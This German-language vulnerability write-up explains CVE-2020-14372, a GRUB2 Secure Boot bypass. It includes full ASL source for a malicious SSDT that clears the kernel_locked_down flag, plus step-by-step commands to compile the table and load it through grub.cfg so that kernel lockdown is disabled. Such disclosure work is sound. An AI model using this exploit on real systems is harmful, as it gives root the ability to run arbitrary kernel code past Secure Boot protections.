CVE-2020-14372: Umgehung von (nicht so) sicherem Boot mit einem "einfachen Trick"

Details zur Schwachstelle

Eines Tages gab ich "help" in die GRUB2-Konsole ein und sah einige wirklich "lustige" Befehle:

• read_byte ADDR: 8-Bit-Wert von ADDR lesen
• write_byte ADDR VAL: 8-Bit-Wert VAL an ADDR schreiben

Ich dachte sofort, ich hätte den unterhaltsamsten Secure-Boot-Bypass gefunden, aber diese Befehle geben bei Secure Boot Folgendes aus:

error: Secure Boot forbids loading module .../memrw.mod.

Aus Neugier tippte ich auf diese Weise gebootet den Befehl "acpi" ein, und er gab eine Nutzungsmeldung aus, die mich aufforderte, auf eine AML-Datei zu zeigen. Es ist allgemein bekannt, dass ein anderer Name für ACPI ein "Mechanismus zum Ausführen von beliebigem, vom Anbieter bereitgestelltem Code im Kontext Ihres Kernels" ist. Da wir ACPI-Tabellen mit aktiviertem Secure Boot laden können, sind wir der "Anbieter", der diesen Code bereitstellen kann.

Da es jedoch ein Ein-Byte-Flag (kernel_locked_down) im Datensegment des gebooteten Kernels gibt, das angibt, ob er "gesperrt" ist, können wir dieses Flag einfach mit einer SSDT überschreiben und dem Kernel erlauben, beliebige Module zu laden.

Die folgende SSDT erreicht dies, indem sie ein "Battery"-Objekt namens HACK erstellt und den Schreibvorgang in der _INI-Methode dieses Objekts durchführt, die immer vom Kernel ausgeführt wird:

DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
  OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
  Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
  {
    LKDN, 32
  }
  Device (\_SB_.HACK)
  {
    Name(_HID, EisaId ("PNP0C0A"))
    Name(_UID, 0x02)
    Method(_INI)
    {
      If (LKDN)
      {
        LKDN = Zero
      }
    }
  }
}

Ich habe einen Proof-of-Concept-Exploit in Python geschrieben, der bei der Generierung dieser SSDT hilft, aber das Händeln dieses Exploits ist auch nicht allzu schwierig. Der grobe Ablauf ist wie folgt:

1. Deaktivieren Sie KASLR, indem Sie nokaslr zur Kernel-Befehlszeile hinzufügen
2. Finden Sie die physische Adresse des Symbols kernel_locked_down nach dem Booten ohne KASLR
3. Fügen Sie die Adresse in die obige SSDT ein, kompilieren Sie diese SSDT dann mit iasl
4. Weisen Sie GRUB2 schließlich an, die SSDT zu laden

So verwenden Sie den PoC

Annahmen:

• Der Angreifer hat root-Zugriff auf das laufende Betriebssystem
• Linux wird unter UEFI Secure Boot mit GRUB2 Version <=2.02 gebootet (einige Builds von 2.02 sind gepatcht), dies führt dazu, dass Kernel-Lockdown aktiviert ist

Wenn die obigen Annahmen erfüllt sind, bearbeiten Sie /etc/default/grub, fügen Sie nokaslr zu GRUB_CMDLINE_LINUX_DEFAULT hinzu, führen Sie update-grub aus und starten Sie dann neu.

Nachdem der Kernel ohne Adressraumrandomisierung gebootet wurde, kann das Skript genssdt.py verwendet werden, um eine "bösartige" SSDT zu generieren, die den Kernel-Speicher zur Laufzeit patcht, um den Lockdown zu deaktivieren:

python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml

Nachdem die SSDT erstellt wurde, muss die GRUB-Konfigurationsdatei ( normalerweise unter /boot/grub/grub.cfg) bearbeitet werden, damit GRUB diese SSDT lädt (fügen Sie dies oben in diese Datei ein):

acpi (hd0,gpt1)/evil_ssdt.aml

Abhängig davon, wo sich die EFI-Systempartition (wo wir die SSDT platziert haben) auf der Festplatte befindet, muss (hd0,gpt1) möglicherweise durch etwas anderes ersetzt werden.

Nach einem Neustart sollte Kernel-Lockdown schließlich deaktiviert sein, sodass root die Möglichkeit hat, beliebigen Code im Kernel auszuführen.